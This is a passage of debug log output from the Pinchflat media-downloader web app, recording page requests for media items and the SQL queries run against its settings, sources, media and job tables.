s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.924 [info] Sent 200 in 1ms 18:13:12.074 [info] GET /sources/25/media/1563629/edit 18:13:12.074 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563629", "source_id" => "25"} Pipelines: [:browser] 18:13:12.074 [debug] QUERY OK source="media_items" db=0.1ms idle=281.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563629] 18:13:12.075 [debug] QUERY OK source="settings" db=0.0ms idle=151.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.075 [debug] QUERY OK source="settings" db=0.0ms idle=151.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.075 [debug] QUERY OK source="settings" db=0.0ms idle=151.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.076 [info] Sent 200 in 1ms 18:13:12.225 [info] GET /sources/25/media/1563735/edit 18:13:12.225 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563735", "source_id" => "25"} Pipelines: [:browser] 18:13:12.225 [debug] QUERY OK source="media_items" db=0.1ms idle=300.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563735] 18:13:12.225 [debug] QUERY OK source="settings" db=0.0ms idle=150.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.225 [debug] QUERY OK source="settings" db=0.0ms idle=150.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.226 [debug] QUERY OK source="settings" db=0.0ms idle=150.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.226 [info] Sent 200 in 1ms 18:13:12.353 [info] GET /sources/25/media/1562676/edit 18:13:12.354 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562676", "source_id" => "25"} Pipelines: [:browser] 18:13:12.354 [debug] QUERY OK source="media_items" db=0.1ms idle=278.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562676] 18:13:12.354 [debug] QUERY OK source="settings" db=0.0ms idle=128.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.354 [debug] QUERY OK source="settings" db=0.0ms idle=128.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.354 [debug] QUERY OK source="settings" db=0.0ms idle=128.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.355 [info] Sent 200 in 1ms 18:13:12.483 [info] GET /sources/25/media/1563733 18:13:12.483 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563733", "source_id" => "25"} Pipelines: [:browser] 18:13:12.483 [debug] QUERY OK source="media_items" db=0.1ms idle=257.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563733] 18:13:12.483 [debug] QUERY OK source="tasks" db=0.1ms idle=129.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563733] 18:13:12.483 [debug] QUERY OK source="sources" db=0.1ms idle=129.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:13:12.484 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=129.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3748578] 18:13:12.484 [debug] QUERY OK source="settings" db=0.0ms idle=129.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.484 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.484 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.485 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:12.486 [info] Sent 200 in 2ms 18:13:12.612 [info] GET /sources/1/media/1564147/edit 18:13:12.612 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564147", "source_id" => "1"} Pipelines: [:browser] 18:13:12.612 [debug] QUERY OK source="media_items" db=0.1ms idle=128.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564147] 18:13:12.612 [debug] QUERY OK source="settings" db=0.0ms idle=128.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.612 [debug] QUERY OK source="settings" db=0.0ms idle=128.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.613 [debug] QUERY OK source="settings" db=0.0ms idle=128.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.613 [info] Sent 200 in 1ms 18:13:12.741 [info] GET /sources/1/media/1562680/edit 18:13:12.741 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562680", "source_id" => "1"} Pipelines: [:browser] 18:13:12.741 [debug] QUERY OK source="media_items" db=0.2ms idle=256.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562680] 18:13:12.742 [debug] QUERY OK source="settings" db=0.1ms idle=129.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.742 [debug] QUERY OK source="settings" db=0.0ms idle=129.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.742 [debug] QUERY OK source="settings" db=0.0ms idle=129.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.743 [info] Sent 200 in 2ms 18:13:12.869 [info] GET /sources/1/media/1562859/edit 18:13:12.870 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562859", "source_id" => "1"} Pipelines: [:browser] 18:13:12.870 [debug] QUERY OK source="media_items" db=0.1ms idle=128.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562859] 18:13:12.870 [debug] QUERY OK source="settings" db=0.0ms idle=128.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.870 [debug] QUERY OK source="settings" db=0.1ms idle=128.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.871 [debug] QUERY OK source="settings" db=0.0ms idle=128.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:12.871 [info] Sent 200 in 1ms 18:13:12.999 [info] GET /sources/1/media/1563736/edit 18:13:12.999 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563736", "source_id" => "1"} Pipelines: [:browser] 18:13:12.999 [debug] QUERY OK source="media_items" db=0.1ms idle=204.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563736] 18:13:12.999 [debug] QUERY OK source="settings" db=0.0ms idle=129.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.000 [debug] QUERY OK source="settings" db=0.0ms idle=129.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.000 [debug] QUERY OK source="settings" db=0.0ms idle=129.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.000 [info] Sent 200 in 1ms 18:13:13.112 [info] GET /sources/2/media/1563681 18:13:13.112 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563681", "source_id" => "2"} Pipelines: [:browser] 18:13:13.113 [debug] QUERY OK source="media_items" db=0.1ms idle=242.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563681] 18:13:13.113 [debug] QUERY OK source="tasks" db=0.1ms idle=113.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563681] 18:13:13.113 [debug] QUERY OK source="sources" db=0.1ms idle=113.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:13.113 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=113.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3734622] 18:13:13.113 [debug] QUERY OK source="settings" db=0.0ms idle=113.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.114 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.114 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.114 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:13.115 [info] Sent 200 in 2ms 18:13:13.225 [info] GET /sources/25/media/1563535/edit 18:13:13.225 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563535", "source_id" => "25"} Pipelines: [:browser] 18:13:13.226 [debug] QUERY OK source="media_items" db=0.1ms idle=112.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563535] 18:13:13.226 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.226 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.226 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.227 [info] Sent 200 in 1ms 18:13:13.339 [info] GET /sources/1/media/1562679/edit 18:13:13.339 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562679", "source_id" => "1"} Pipelines: [:browser] 18:13:13.339 [debug] QUERY OK source="media_items" db=0.1ms idle=224.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562679] 18:13:13.339 [debug] QUERY OK source="settings" db=0.1ms idle=113.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.340 [debug] QUERY OK source="settings" db=0.1ms idle=113.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.340 [debug] QUERY OK source="settings" db=0.1ms idle=113.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.340 [info] Sent 200 in 1ms 18:13:13.452 [info] GET /sources/1/media/1562990/edit 18:13:13.452 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562990", "source_id" => "1"} Pipelines: [:browser] 18:13:13.453 [debug] QUERY OK source="media_items" db=0.1ms idle=225.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562990] 18:13:13.453 [debug] QUERY OK source="settings" db=0.0ms idle=113.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.453 [debug] QUERY OK source="settings" db=0.0ms idle=113.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.453 [debug] QUERY OK source="settings" db=0.0ms idle=113.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:13.453 [info] Sent 200 in 1ms 18:13:30.353 [info] {"source":"oban","duration":7816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 